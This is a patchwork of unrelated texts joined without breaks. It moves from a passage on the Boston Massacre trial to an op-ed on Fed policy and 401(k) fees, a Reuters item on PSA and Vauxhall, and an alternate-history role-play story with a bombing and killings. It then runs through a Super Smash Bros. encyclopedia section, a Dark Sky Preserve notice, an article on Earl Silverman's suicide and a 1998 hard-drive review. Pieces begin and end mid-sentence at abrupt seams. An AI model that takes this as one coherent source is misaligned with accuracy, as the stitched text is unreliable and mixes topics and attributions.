every method to fish out evidence to prove [the March 5 shooting] was a concerted scheme to murder the inhabitants." Preston's trial, in which he was ably defended by John Adams, took place from October 24 to 30 in Boston. Although no transcript of his trial testimony survives, in his deposition Preston stated that he believed on the night of March 5 that the crowd would have murdered the sentry had he not ordered troops to his rescue. He also stated that he believed the ultimate goal of the mob to have been to "plunder the King's chest" at the nearby Custom House. Whether or not the jury believed all of Preston's story is not known, but they apparantly concluded that there was insufficient prove that he gave the order to fire: Preston was acquitted on all charges. After his trial, Preston wrote: "I take the liberty of wishing you joy at the complete victory obtained over the knaves and foolish villains of Boston." In December, Preston sailed for England, where he was awarded 200 pounds for his troubles.Grant had this to say: “New thing – it is in the business of talking up the stock market…The Fed is manipulating prices, especially on Wall Street.” To another question from Mack, Grant says: “The Fed has presided over the decay of finance.”
Professor Sylla adds more fuel to the fire, stating: “The Fed seems to have, I think almost deliberately, is trying to push the stock market up. I’ve watched this stuff for 40, 50 years now and this is the first time in my memory when it seemed to be official U.S. government policy that the stock market goes up. And the Fed likes this because it thinks that when the stock market goes up, people who own stocks feel richer, they’ll go out and spend more money, and the unemployment rate will come down.” You can watch the full program here.
Richard Sylla on PBS, Discussing the Federal Reserve's Policies,
December 20, 2013
Is it possible that the Federal Reserve, with its economic wizards and differential equations, doesn’t know that the more it props up the stock market and Wall Street, the more it is undermining Main Street and exacerbating wealth inequality in America?
As brilliantly laid bare by producer Martin Smith on another PBS program on April 23 of this year, Wall Street has become an institutionalized wealth transfer mechanism, moving the savings of the little guy into the pockets of the very rich.
The program, The Retirement Gamble, showed how if you work for 50 years and receive the typical long-term return of 7 percent on your 401(k) plan and your fees are 2 percent, almost two-thirds of your account will go to Wall Street. Under a typical 2 percent 401(k) fee structure, almost two-thirds of your working life will go toward paying obscene compensation to Wall Street; a little over one-third will benefit your family – and that’s before paying taxes on withdrawals. The dirty secret is the negative impact that Wall Street fees subtract from compounded interest over long blocks of time.
In the program, Smith pulls up a compounding calculator on his laptop. On air, he shows the viewer the results:
Smith: “Take an account with a $100,000 balance and reduce it by 2 percent a year. At the end of 50 years, that 2 percent annual charge would subtract $63,000 from your account, a loss of 63 percent, leaving you with just a little over $36,000.”
You can prove the point to yourself. Pull up a compounding calculator on line. Assume an account with a $100,000 balance and compound it at 7 percent for 50 years. That would give you a return of $3,278,041.36. Now change the calculation to a 5 percent return (reduced by the 2 percent annual fee) for the same $100,000 over the same 50 years. That will deliver a return of $1,211,938.32. That’s a whopping difference of $2,066,103.04 – the same 63 percent reduction in value in Smith’s example.
Approximately 70 percent of Americans who have a retirement plan at their place of work have a 401(k) plan rather than a pension plan (defined benefit plan) that would deliver a fixed sum at retirement. Not everyone is paying 2 percent in 401(k) fees. Some workers are paying more and others are paying less – sometimes much less if using passively managed index mutual funds.
But the point is, by making propping up the stock market a goal of monetary policy, the myopic Federal Reserve is ignoring the fact that the majority of stock market wealth is ending up in the hands of the top 10 percent, doing very little to create jobs or stimulate the economy for the other 90 percent of Americans.A Peugeot car is seen parked outside the Opel headquarters in Ruesselsheim, Germany February 14, 2017. REUTERS/Ralph Orlowski
LONDON (Reuters) - Britain has offered Peugeot manufacturer PSA Group (PEUP.PA) assurances on post-Brexit trade and supply chains in an attempt to protect Vauxhall car plants after a possible takeover, the Financial Times reported on Saturday.
Business minister Greg Clark met French politicians and PSA executives in Paris on Thursday to discuss their plan to buy General Motors’ (GM.N) European unit, Opel, which include Vauxhall plants in Britain.
The talks have set political alarm bells ringing in Britain and Germany, where there are fears that a sale to the French company could lead to heavy job losses.
Clark said on Friday, after the meeting, that PSA executives had “stressed that they valued highly the enduring strength of the Vauxhall brand, underpinned by its committed workforce”.
The FT reported on Saturday, citing a person with knowledge of the meeting, that Clark had also made commitments similar to those he gave Nissan (7201.T) last year before it announced it would build two new models in Britain.
Clark promised Nissan that he would ensure more car part suppliers were based in Britain, support training and research into electric and low-emission vehicles, and push for “free and unencumbered” access to European Union markets for carmakers after Britain leaves the EU.
The government has declined to give exact details of its promises to Nissan, citing commercial confidentiality, though government auditors who saw the letter said it did not make the government liable for Brexit-related costs incurred by Nissan.
Britain’s business ministry declined to comment on Saturday on whether Clark had made similar commitments to PSA.
The FT quoted Clark as saying that he and PSA executives had “talked generally about our commitments and enthusiasm for research in electric vehicles and batteries”, but added that the minister did not give further detail.Summoning the Senate
Senators, your presence is requested for a State of the Empire Address on the Ninth of May, 1854.
The following newspapers are considered significant by the archivists.
And the Senate’s world map is being updated.
Waiting for the address
The senators were gathered in their hall, waiting for the Empress to arrive and give her address.
Senator Michelangelo began the per-address discussion among the Patrikioi, “I don’t particularly like the idea of Germany being on good terms with Russia. At least Poland has expanded at their expense. The papers are overflowing with news of Imperial expansion. Truly these are the golden days of the Empire!”
Senator Alexios Damaskinos spoke to his own circle of Foiderátoi Senators, “We shouldn’t bother with German-Hungarian war, as, in my opinion, it was inspired by oppressed majority of German people in Austria, and not any kind of imperialism. I insist again on claiming Taiwan, as it may help us in future interventions considering last expansion of Ming dynasty. I suggest to consider invasion of Ceylon to support future interventions in India. We should also look closer to growing importance of Deccan in that region. Also, I again insist on breaking any relations with Poland, as this might lead us to war within our Sphere, and I must say that in my opinion, in case of Livonia-Poland war, we should give what we can to support Livonia, armies or subsidies (if we will be in another war at the same time).”
Senator Nikephoros Doukas also spoke to the Foiderátoi. “Germany’s relations with Russia are unsettling. We should be careful in dealing with them. Remember, the First Empire was destroyed by the Germans when they were uncivilized brutes—Alemanii, they called themselves at the time. They can do it again. Perhaps we can enlist the help of the Poles? If they were willing to fight Russia over Lithuanian territory, they can surely help us against any German treachery.
I fully agree with an invasion of Taiwan. We must deprive Russia of any colonies and truly take our place in the sun! Ming is growing quite strong, and is on good terms with the Koreans. They could be a useful ally against Russia in a future war.
I do not recommend an invasion of India. There are so many people there, and their cultures and traditions are so foreign from our own that integrating them into Roman society would have more costs than benefits. We should instead increase our sphere of influence in the region and build up friendly relations and trade agreements with native rulers, especially the Deccans. We can have the benefits of trade goods from India and an ally in the region, as well as an effective foothold in the subcontinent without the costs of maintenance and providing for millions of new Imperial subjects.”
“Also, the Empress would consider a diplomatic mission to China itself, I would recommend myself as ambassador. I am close friends with the Celestial Empire’s foreign minister, Lin Zexu, and am fluent in the local languages and traditions.
Senator Στήβεν Γκρέυ had been speaking with the XKM, but overhead part of the conversation and joined in. “Whilst I agree with my fellow senators with the Germany and Hungarian war, I am concerned with the Polish invasion of Russia. What is the likelihood of Poland managing to at least white peace with the Bear?
With the Indians perhaps they would better serve us as loyal puppets than us taking their land directly, at least this way we control their destiny.”
An unknown voice spoke clearly and loudly in the hall, “The Third Rome needs to punish the Second Rome!”
“Heresy,” muttered Doukas.
“Never heard of Third Rome. Is it some kind of capital of our Australian colonies?” asked Damaskinos of the senators near him.
“Russia was often called Third Rome,” claimed Senator Basileios Rellis.
Doukas took this as an opportunity to speculate, “This discussion about a hypothetical “Third” Empire—which ought to never exist, as doing so would mean that our current Empire be destroyed; it is treason to suggest a rebellion against the Empire—has got me thinking…if the Empire is Roman, why is the capital in Constantinople? We can’t have a Roman Empire without a capital in Rome.”
He paused for a moment, then frowned, “Also, how did that guy get into the Senate room? He’s not a senator! Somebody call in the Varangian Guard! The Empress is under attack!”
That done, he turned back to Rellis, “Senator Rellis, why do you refer to the Russian menace as a “Third Rome,” implying that the Slavic peoples can be as cultured and civilized as the Romans on the level that they are the successors of the Empire? By explicitly saying that Russia is the Third Rome, instead of our Empire, I get the feeling you wish to overthrow the Empress and install the Slavic Tsar as the Imperator. Such talk is treasonous, at best.
When no-one else responded after some time, and no Varangians showed, he continued, “But fellow senators, as we wait for Her Imperial Highness to give her address, what should we do about the trespassers who somehow manage to get into the Palace and speak vile heresies?”
Favero finally spoke, “Surely they should be detained and interrogated. They could be spies for Russia. The audacity of them to claim Russia to be some third Rome. There is only the Empire and no others.”
Doukas replied, “Yes, there can only be one Empire, but what Ruthenian spy would be idiotic to the point that he walks into the Senate, of all places, and foolishly proclaim that Ruthenia is the Third Rome, knowing that he would be immediately arrested? There must be something going on here, or the Ruthenians are just playing us. It could be a trap, and they distracted our attention while…”, he looked outside “…oh.”
Suddenly, an explosion ripped through the Senate’s chamber.
…
Michelangelo was blown clear across the room and slammed against the wall. He tried to rise to his feet, but lost his balance. Blood slowly oozed from a gash on his head. Managing only to get to his knees, Michelangelo spat out some blood between his teeth. He wiped his face with his senator’s robe as he regained his senses. “What in the name of the Empress was that? Do the Russians have artillery outside Constantinople?”
…
Doukas was sprawled on the floor. He was lying in a pool of blood from the senator next to him but was himself largely unharmed. “Seems to have been a bomb,” he groaned, “the Ruthenians can’t possibly have gotten artillery this close to Constantinople.” He looked over and saw that the Varangians assigned to guard the Senators were either dead or unconscious. The front door was blasted open, and the windows were broken. Doukas realized that the Empress was in grave danger. “The Empress is under attack! Save her!” He grabbed a sword from a dead Varangian just as a man in Ruthenian clothing appears in the doorway, pistol raised to fire at anyone. “You all get the Empress out of here! I’ll take care of the attackers!”
Doukas charged at the Ruthenian, who calmly fires three times while exclaiming “For Mother Russia!”
…
Michelangelo cowered behind a tipped-over bench as shots fired through the room. The knowledge that not only his life but the Empress’ as well were at stake spurred him into action. He quickly crawled on his hands and knees, sneaking out a side door while the terrorist was distracted. He slowly rose to his feet once outside the room and nearly toppled over from dizziness. He placed a hand against the wall to maintain his balance and started working his way through the palace. “The Empress…must find the Empress…”
…
Doukas ran the terrorist through with his sword just as he felt three bullets strike him in the chest and left arm. The pain was unbearable, but he knew he must do his duty for the people and Senate of Rome.
The Ruthenian spat blood in Doukas’s face and snarled, “It is too late, Greek scum! Soon Mother Russia will be the mother of all.”
Doukas nearly shouted, “Who sent you?! What are your orders? Are there others?”
The Ruthenian laughed evilly “Soon the Germanic barbarians will sack Rome again.” He then died.
The pain overwhelmed Doukas, and he collapsed to the floor. Before he lost consciousness, he heard more explosions – this time from the direction of downtown. Blachernae may have been among the targets, but he didn’t know. “God have mercy on our souls!” he whispered.
…
Michelangelo kept wandering through the palace, looking for anyone at all who could warn the Empress. He was in no condition to make the trip to Blachernae, but someone had to. All the hallways looked the same. In fact, maybe he’d already been down this one, judging by the blood drops on the floor. Had he gotten turned around? Michelangelo tried to clear his head, but a dizzy spell overcame him. He’d been losing too much blood.
Explosions sounded off in the distance. Was Constantinople under attack? Michelangelo had no idea. He just wanted to get out of here and get the Empress to safety. Maybe she was already safe and he was wasting his time. Regardless, he had a duty to perform, or at least the duty to get some beneath his station to fulfill the role while he tried not to succumb to his wounds.
The sound of heavy footsteps drew Michelangelo’s attention, so he rounded a corner and pushed himself up against the wall to hide. Two burly men speaking in Russian ran down the other hallway. Michelangelo remained silent as they left, but then the footsteps stopped and started drawing closer. That’s when he noticed the blood drops all over the floor. They knew he was there.
Michelangelo scurried down the empty hallway, only to run into a dead end as he rounded the corner. There were two ceremonial poleaxes mounted on the wall, so he lifted one from its bracing and steadied himself. He only had one shot. As the Russians rounded the corner, Michelangelo let out an angry yell and charged them. Before they could react, he impaled the first one on the end of his poleaxe, piercing him right through the gut. The dying man spewed out blood from his mouth and pushed himself off the weapon, only for more blood to pour from his wound. He slipped to the floor as life escaped him. The second man drew a pistol and Michelangelo dove to the floor. The bullet shattered a nearby window, which was much better than shattering Michelangelo’s head. Before the man could fire another shot, Michelangelo picked back up the poleaxe and swung it at his assailant. The blade sliced through the man’s forearm, forcing him to drop the gun. Before the Russian could draw his own blade, Michelangelo stabbed the poleaxe’s end into his neck. Blood sprayed everywhere as the man slumped to the floor. The two Russians were dead.
Michelangelo dropped the poleaxe in horror and vomited all over the palace floor. He had never killed a man before in his life. He suddenly had a much deeper appreciation for the soldiers in the Imperial Army. When was this horrid event going to end? Looking out the broken window and seeing smoke spiraling into the air didn’t give him the answer he wanted. Slumping to the floor, he took in several deep breaths. The Empress would have to wait, at least until he didn’t feel like he was dying inside. Surely even the Empress would grant him that reprieve.
…
Doukas saw images flashing by his eyes. He saw his childhood in Athens, his time at the Imperial University, his wedding, his son before heading off to war in the Holy Land… He thought to himself, “Seriously? A flashback of my life at this time? I don’t need to see this again, I already know this.”
His perspective changed, and he was looking down on all of Eurasia. The Empire in all of its majesty stretched from the Atlantic to the Black Sea, but to the north lay Germania and Ruthenia, the patchwork of barbarians which brought down the First Empire. Even now, centuries after the deposition of the last ruler of the First Empire, Rome was still threatened. The Germans had done what Rome couldn’t and united into one main polity. They were on friendly terms with the Empire now, but Doukas remembered what the Ruthenian had told him. To the east laid the once-mighty and isolationist Celestial Empire, or Serica as some called it. If an alliance could be secured, the Ruthenians could face a two-front war should conflict break out. Their almost unlimited manpower could mean the difference between victory and defeat.
There was the sound of disparate voices behind him, but he couldn’t turn around. Then he realized the voices were in German and Ruthenian.
He opened his eyes. Three foreign men stood in the middle of the Senate room. One of them spoke German, which Doukas was competent at.
“Too bad they’re all dead or unconscious, I would have loved to hear them scream.”
A Ruthenian replied, “Why don’t you kill them now?”
“It’s not fun.” answered the German
A second Ruthenian joined in, “Men, focus! Our forces have incapacitated the government of the Roman scum–”
The first Ruthenian interrupted him, “I hate to remind you, but the Empress holds all of the power.”
The second snapped back angrily, “Shut up! As we speak, a small force of Germans is advancing into Blachernae, and another force of Russians has seized Hagia Sophia. Soon Rome will be brought to its knees.”
The German finally spoke again, “And then they’ll blame the Tsar and the Kaiser instead of us! It’s perfect.”
“Exactly,” concluded the first Ruthenian.
Doukas couldn’t believe what he had heard. A secret conspiracy to drag the Empire to war with the Germans and Ruthenians? He silently reached over to the body of the man he had stabbed earlier and took the still-loaded gun.
The second Ruthenian was speaking, “Is everybody accounted for?”
The German answered, “We’re missing one of the senators, an Italian. I heard something in the corridors, and two of our men are missing.”
The first Ruthenian spoke again, “It must be the Artist. If he gets out of the building our plan will be foiled. Go get him!”
The German and the second Ruthenian left the room. Doukas inferred that the “Artist” was Senator Favero, apparently the only other senator to maintain consciousness. Perhaps they could still save the Empress… He accidentally knocked over some rubble.
“Who was that?!” exclaimed the one remaining Ruthenian.
With quick thinking, Doukas brought up the gun, wrapped it in his toga, and fired at the enemy. The shot was muffled, so the others couldn’t possibly have heard it. The Ruthenian keeled over dead before he could shout. Doukas got to his feet painfully. He knew he had to get out of here and reach Blachernae. So he limped out through the giant hole in the wall of the room.
…
The sound of another explosion made Michelangelo snap his head up. He was laying down on the floor, although he didn’t remember lying down. Hadn’t he just been sitting down to catch his breath? How much time had passed? He glanced out the window, trying to judge the time by where the sun was. He couldn’t figure out how much time had passed since he didn’t remember when the attack had begun in the first place. Damn his aging mind! Maybe he would retire after this incident and take up painting. That sounded a lot less stressful.
Michelangelo tried to get up, but slipped in a puddle of blood from the two corpses lying nearby. He nearly threw up again at the sight of them, their cold lifeless eyes staring up at the ceiling. He needed to get away from here before someone came to investigate. He went to round the corner when he heard voices arguing. They were drawing nearer, too close for him to escape the dead end in time. He went to pick up the poleaxe again, but slipped on the blood again. He got back up to his feet, only for someone to shout at him in German behind him. Why was there a German in the palace?
“Turn around slowly, you filthy Italian, and show me your hands.”
Michelangelo slowly obeyed the orders and faced the German. He had another man with him. Both were armed, their pistols aimed at him. He warily took a step back, brushing up against the window sill of the broken window. “What do you want with me?” Michelangelo asked. “You won’t get away with this attack. The Empress will have your eyes and tongues cut out for this.”
“She’ll be dealt with soon enough. Now follow me.”
Michelangelo went to follow, only to slip in the blood for a third time and fall backward. He put his hands behind him and stopped his fall by grabbing the window sill. He winced as one finger grasped some broken glass from the window.
“Watch your step, old man. Make too many sudden movements and you might not make it back to the Senate alive.” The two men laughed together. Michelangelo had a feeling he might not make it back to the Senate even if he obeyed. He needed to escape these thugs. Before he could consider the consequences of his actions, he pushed off the window sill with his hands and rolled backwards out the window. The German shot at him, but the shot missed Michelangelo’s head by a few inches. The next thing he knew, Michelangelo was falling out the window. Now that he thought about it, he had probably been on the second or third floor. He closed his eyes and hoped that the impact would either kill him immediately or spare him further pain. “Forgive me, Empress.”
…
Doukas heard a splash next to him. Did somebody just fall into the fountain he had helped fund last year? Then he noticed it was Senator Favero. “You! You’re alive! You won’t believe what I overheard in the Senate room. Did you find anyone else?”
There were shouts from above. Doukas looked up and saw the German and his Ruthenian accomplice looking down on them from a broken window. ”It’s him! The Duke!” the German shouted.
Doukas hoped his arm was still good enough to shoot at them. He aimed and pulled the trigger twice. “God help me.”
…
It was sure cold in Heaven. And wet. A bit too wet for Michelangelo’s tastes. In fact, he had trouble breathing. Wait, if he was dead, why did he need to breath?
Michelangelo’s eyes snapped open and he pushed his head up out of the fountain water, gasping for air. He’d survived, and relatively unscathed too. He vaguely heard a voice as he dragged himself out of the fountain. Two shots followed and a figure fell down into the fountain next to Michelangelo, splashing water all over him. By the way that the water was quickly turning red, he probably wasn’t getting out of that fountain.
As Michelangelo regained his sense, he realized that Senator Doukas was standing nearby. He remembered the senator asking a question as he rose from the fountain. “I haven’t seen a soul other than the Russians I ran into and that German who tried to shoot me. Oh good God, I killed them, the Russians. I had no choice.”
Michelangelo shivered involuntarily, still uncomfortable with the idea of taking another man |
mode featured in Brawl, as he believed the impact of seeing the mode's cinematic cutscenes for the first time was ruined by people uploading said scenes to video sharing websites.[72][73]
At E3 2013, Sakurai stated that the tripping mechanic introduced in Brawl was removed, with him also stating that the gameplay was between the fast-paced and competitive style of Melee and the slower and more casual style of Brawl.[74] While the games didn't feature cross-platform play between the Wii U and 3DS, due to each version featuring certain exclusive stages and gamemodes, there is an option to transfer customized characters and items between the two versions.[75] The game builds upon the previous game's third-party involvement with the addition of third-party characters such as Capcom's Mega Man and Bandai Namco's Pac-Man, as well as the return of Sega's Sonic the Hedgehog. This involvement expands beyond playable characters, as other third-party characters, such as Ubisoft's Rayman, are also included in the game as trophies.[76] The addition of Mii characters was made in response to the growing number of requests from fans to have their dream characters included in the game. To prevent potential bullying, as well as to maintain game balance online, Mii Fighters cannot be used in online matches against strangers.[77] The decision to release the Wii U version at a later date from the 3DS version was made to allow each version to receive a dedicated debugging period.[78] Hardware limitations on the Nintendo 3DS led to various design choices, such as the removal of mid-match transformations, the absence of the Ice Climbers, and the lack of Circle Pad Pro support.[79]
Music
Super Smash Bros. features music from some of Nintendo's popular gaming franchises. While many are newly arranged for the game, some songs are taken directly from their sources. The music for the Nintendo 64 game was composed by Hirokazu Ando, who later returned as sound and music director in Melee. Melee also features tracks composed by Tadashi Ikegami, Shougo Sakai, and Takuto Kitsuta.[80] Brawl featured the collaboration of 38 contracted composers,[81] including Final Fantasy series composer Nobuo Uematsu, who composed the main theme.[82] Like in Brawl, Super Smash Bros. for Nintendo 3DS and Wii U featured many original and re-arranged tracks from various different gaming franchises from a variety of different composers and arrangers. Both versions have multiple musical tracks that can be selected and listened to using the returning "My Music" feature, including pieces taken directly from earlier Super Smash Bros. games. The 3DS and Switch games allow players to listen to their music from the sound menu while the system is in sleep/handheld mode.[83][84] Ultimate continued the trend of multiple composers and arrangers working on remixed tracks, having over 800 in total.[84]
Three soundtrack albums for the series have been released. An album with the original music for Super Smash Bros. was released in Japan by Teichiku Records in 2000.[85] In 2003, Nintendo released Smashing...Live!, a live orchestrated performance of various pieces featured in Melee by the New Japan Philharmonic.[86] A two-disc promotional soundtrack was available for Club Nintendo members who registered both the 3DS and Wii U games between November 21, 2014 and January 13, 2015.[87]
Reception
Reviews for the Super Smash Bros. series are usually positive. The multiplayer mode in every game is usually highly praised; however, single-player modes have not always been viewed as highly.
Super Smash Bros. received praise for its multiplayer mode. Nintendo Power listed the series as being one of the greatest multiplayer experiences in Nintendo history, describing it as infinitely replayable due to its special moves and close-quarters combat.[99] There were criticisms, however, such as the game's scoring being difficult to follow.[100] In addition, the single-player mode was criticized for its perceived difficulty and lack of features.
Super Smash Bros. Melee generally received a positive reception from reviewers, most of whom credited Melee's expansion of gameplay features from Super Smash Bros. Focusing on the additional features, GameSpy commented that "Melee really scores big in the 'we've added tons of great extra stuff' department." Reviewers compared the game favorably to Super Smash Bros.—IGN's Fran Mirabella III stated that it was "in an entirely different league than the N64 version"; GameSpot's Miguel Lopez praised the game for offering an advanced "classic-mode" compared to its predecessor, while detailing the Adventure Mode as "really a hit-or-miss experience." Despite a mixed response to the single-player modes, most reviewers expressed the game's multiplayer mode as a strong component of the game. In their review of the game, GameSpy stated that "you'll have a pretty hard time finding a more enjoyable multiplayer experience on any other console."
Brawl received a perfect score from the Japanese magazine Famitsu. The reviewers praised the variety and depth of the single-player content,[101] the unpredictability of Final Smashes, and the dynamic fighting styles of the characters. Thunderbolt Games gave the game 10 out of 10, calling it "a vastly improved entry into the venerable series". Chris Slate of Nintendo Power also awarded Brawl a perfect score in its March 2008 issue, calling it "one of the very best games that Nintendo has ever produced". IGN critic Matt Casamassina, in his February 11 Wii-k in Review podcast, noted that although Brawl is a "solid fighter," it does have "some issues that need to be acknowledged," including "long loading times" and repetition in The Subspace Emissary.
Super Smash Bros. for 3DS and Super Smash Bros. for Wii U both garnered critical praise and were commercially successful, holding current ratings of 85/100 and 92/100 on Metacritic and 86.10% and 92.39% on GameRankings.[102][94][103][104] Reviewers have particularly noted the large, diverse character roster, the improvements to game mechanics, and the variety of multiplayer options. Some criticisms in the 3DS version include a lack of single-player modes and issues concerning the 3DS hardware, such as the size of characters on the smaller screen when zoomed out and latency issues during both local and online multiplayer.[105][106] There were also reports of players damaging their 3DS Circle Pads while playing the game excessively.[107][108] The Wii U version's online play quality was mildly criticized for some inconsistency, but has overall been critically acclaimed. Daniel Dischoff of Game Revolution stated "It's true that Super Smash Bros. evolves every time with regard to new features, items, and characters to choose from. While your favorite character may not return or a few annoying pickups may force you to turn off items altogether, this represents the biggest leap forward Smashers have seen yet." Daniel Starky at GameSpot criticized the inconsistent online performance in the game, but still called it an "incredible game", noting "With the Wii U release, Smash Bros. has fully realized its goals." Jose Otero from IGN, praising the replayability of the game, states "Nearly every aspect of Smash Wii U seems fine-tuned not only to appeal to the nostalgia of long-time Nintendo fans, but also to be accessible to new players."
Sales
Super Smash Bros sold 1.4 million copies in Japan,[109] and 2.3 million in the U.S.,[110] with a total of 5.55 million units worldwide.[88] Melee sold over 7 million units worldwide, becoming the best-selling GameCube game.[3] Brawl sold 1.524 million units in Japan as of March 30, 2008,[111] and sold 1.4 million units in its first week in the United States, becoming Nintendo of America's fastest selling game.[112] The 3DS version sold over a million copies in its first weekend on sale in Japan,[113] and has sold more than 9.35 million copies worldwide as of September 2018.[93] Super Smash Bros. for Wii U became the fastest-selling Wii U game to date, selling 3.39 million units worldwide within just two months of availability, beating the record previously held by Mario Kart 8.[114] As of September 2018, it has sold 5.35 million copies worldwide.[95] Super Smash Bros. Ultimate on Nintendo Switch has set new record highs for the series and for the system.[115][116] It sold an estimate of 5.6 million copies in global sales during its first week of launch, beating out records previously held by games such as Pokémon: Let's Go, Pikachu! and Let's Go, Eevee!, Super Mario Odyssey, and The Legend of Zelda: Breath of the Wild.[117] In Japan, Ultimate outsold the records held by Super Smash Bros. for Nintendo 3DS with 2.6 million copies sold in five weeks.[118] It is also one of the best-selling games for the Nintendo Switch, with 12.08 million copies sold worldwide by the end of 2018.[97]
Esports
The Super Smash Bros. series has been widely played as competitive video games and has been featured in several high-profile tournaments. The first publicized Super Smash Bros. Melee tournaments were held in early 2002.[119] From 2004 to 2007, Melee was on Major League Gaming's tournament roster.[120] In 2010 MLG picked up Brawl for its pro circuit for a year. During this time, Nintendo prohibited MLG from live streaming Brawl matches.[121] At 2014 MLG Anaheim Melee was once again hosted at an MLG event. Melee was also included at the Evolution Championship Series (Evo) in 2007, a fighting game tournament held in Las Vegas. Melee was again hosted at Evo 2013 after it won a charity drive to decide the final game to be featured in its tournament lineup.[122][123] Due to the large turnout and popularity that year, Evo again included a Melee tournament at their 2014 and 2015 events.[124] New Jersey based Apex was another prominent Super Smash Bros. tournament organizer, being officially sponsored by Nintendo in 2015.[125]
Notes
^ Japanese: 大乱闘スマッシュブラザーズ, Hepburn: Dai Rantō Sumasshu Burazāzu?Michigan adds three new Dark Sky Preserves
In October, Representative Pettalia (R-Presque Isle) introduced House Bill 5023 to add three new Dark Sky Preserves in Northeast Michigan. Yesterday, Governor Snyder signed the bill into law as Public Act 11 of 2016. It designates Thompson’s Harbor State Park, Rockport State Recreation Area, and Negwegon State Park as Dark Sky Preserves.
So what is a Dark Sky Preserve? Michigan law requires that any park area which has been given Dark Sky Preserve status ensure that all outdoor lighting fixtures to be shielded or constructed so there is little to no light interference for activities such as amateur astronomy, stargazing, and nighttime photography.
The Rockport State Recreation Area is located in Presque Isle and Alpena counties; Negwegon State Park stretches across the border of Alpena and Alcona counties; and Thompson’s Harbor State Park is located in Presque Isle County.
Editorial Note:
Michigan’s Dark Sky Preserve program is not to be confused with the International Dark Sky Park program. They are different. Although Michigan is home to one of the first ever 10 International Dark Sky Parks at the Headlands in Emmet County.Well, theory and execution are different things. As the Southern Poverty Law Center reported last year, the MRM's most visible advocates often engage in perpetuating misogynistic myths. The SPLC wrote:
Some suggest that women attack men, even sexually, just as much as men attack women. Others claim that vast numbers of reported rapes of women, as much as half or even more, are fabrications designed to destroy men they don’t like or to gain the upper hand in contested custody cases
And the SPLC has data debunking the myth that women attack men as much as men attack women:
A major 2010 study by the Centers for Disease Control’s National Center for Injury Prevention and Control thoroughly debunks such claims. Nearly one in five American women (18.3%), the study found, have been raped; the comparable number for men is one in 71 (1.4%). Not only that, but more than half (51.1%) of female victims reported that their rapist was an intimate partner — a current or former spouse or boyfriend, or a date.
The movement has struggled to find allies with tenets that don't hold up to the facts. Indeed, the abuse comparisons — that men were as likely to be abused as women — have been thought to undermine the potential good the movement could do for actual male victims of abuse. "Men's Rights Activists are rage-filled misogynists who claim feminists intentionally 'cover up' issues like male rape and workplace injury rates so women can achieve global domination," wrote Jezebel's Katie J.M. Baker in describing members of the movement.
So was Earl Silverman the good kind of advocate or the not-so-good kind?
Well, Silverman is known for having founded Canada's first shelter established for male victims of domestic abuse, out of his own pocket, because he couldn't find support services for himself. Silverman claims his wife abused him, and that's the reason he left her some 20 years ago. "There were a lot for women, and the only programs for men were for anger management," Silverman told Canada's National Post shortly before his death. "As a victim, I was re-victimized by having these services telling me that I wasn't a victim, but I was a perpetrator."
Silverman's shelter, the Men's Alternative Safe House in Calgary, was not funded by the government, and he failed to raise enough money from private donations to keep it open. MASH, as it was known, closed down last month. "The day after he packed up his recently sold home — also the site of the Men’s Alternative Safe House — Earl Silverman was found hanging in his garage," reports the National Post.
This man killed himself because a men's abuse shelter shut down?
Well, according to Silverman's reported suicide note, that could have been a factor. "In a four-page suicide note, Silverman blamed the government for failing to recognize male victims of domestic abuse and for not providing enough services to help those in need," Huffington Post Canada reports.From...
When it comes to hard drives, size is everything
June 12, 1998
Web posted at: 11:00 a.m. EDT
by Stan Miastkowski
(IDG) -- Hard drives are getting so big they're almost scary. Who really needs 8 gigabytes of storage, much less one of those gargantuan 14GB drives that are shipping with Pentium II 350- and 400-MHz PCs these days? If you don't use your PC for more than a few basic applications, anything beyond 2GB is overkill. But then again, lots of people can argue that in terms of hard drive space, more is better. Consider, for example, Windows 98. Microsoft's latest operating system could consume 170MB--more than twice the real estate Windows 95 occupies. Also, if you regularly push your storage capacity to the limit by editing photographs or downloading video clips from the Web, it's worth looking into an upgrade. And you might as well make the upgrade a big one: Why buy a new 4GB hard drive for around $150 when you can get a 6.4GB drive for just $50 more?
We installed and performance-tested 13 EIDE hard drives from Fujitsu, IBM, Maxtor, Quantum, Seagate, and Western Digital, ranging in size from 5.2GB to 12GB and costing from $199 to $399. We also tested the performance of (but didn't install) 4 EIDE models currently available only in brand-new PCs: Quantum's 8.4GB Fireball SE 8.4, Seagate's 9.1GB Medalist Pro 9140, and IBM's huge new 14.4GB Deskstar 14GXP and 16.8GB Deskstar 16GP. We didn't include SCSI drives because for most people, the performance boost SCSI provides isn't worth the hassle and expense. They're more difficult to install than EIDE models, and cost 30 to 50 percent more for the drive and $100 to $200 extra for a separate add-in controller.
Our findings? Although our Best Buys--Seagate's 6.4GB Medalist Pro 6451 and Maxtor's 8.4GB DiamondMax 2160--have a slight edge over the pack, just about any hard drive kit we tested is worth buying. Widely available by mail order or from local discount computer stores, upgrade kits typically contain everything you need for a painless upgrade: installation software (either on a disk or downloadable from a Web site), mounting brackets, and instructions. Anyone with some PC experience should be able to install a kit hard drive--even the behemoths--in 2 to 4 hours.
Beginners should probably stay away from the two Fujitsu drives we evaluated--the MPB3064AT and MPB3052AT. They are sold alongside other kits but lack the manuals and mounting hardware that the others have. Bare-bones drives like these can save you money if you're an old hand at hard drive installation and you're buying in volume. But if you've never installed a drive, do yourself a favor and buy a kit. The Fujitsu drives come with only a sliver of the documentation you get with other kits and don't include drive rails.
The Fireball SE 8.4, Medalist Pro 9140, and the two Deskstar drives should be available in kits by year's end. In the meantime, any of these four drives is worth asking for if you're buying a new PC. Dell, Gateway, and Micron offer them on their new systems. These cutting-edge drives consistently outperformed all the other drives in our file copy, file search, and video capture tests, thanks to some clever new technologies: The two IBM drives, endowed with new Giant MagnetoResistive drive heads, cram data more densely than other models. Quantum's Fireball SE and IBM's Deskstar 14GXP drives spin at 7200 rpm, speeding up the rate at which data can be read off the drive platters. The slowest drives we tested were Western Digital's Caviar AC 36400, a 5400-rpm model that captured fewer than 15 frames per second out of a possible 30 fps in our video test, and Quantum's 4000-rpm Bigfoot TX drives, which were slowest at copying and searching for files.
The Older PC
Worried that your PC won't be compatible with the latest hard drives? Relax. If your system was manufactured after 1993, you shouldn't encounter any problems. But even if you do, you'll probably find the answer easily in your kit's documentation or on your PC maker's Web site. Still, before tackling any hard drive upgrade, you should check the manufacturer's Web site for the most recent information. Some sites, like Seagate's and Western Digital's, offer outstanding support--better than the companies' phone support, which we found to be merely average.
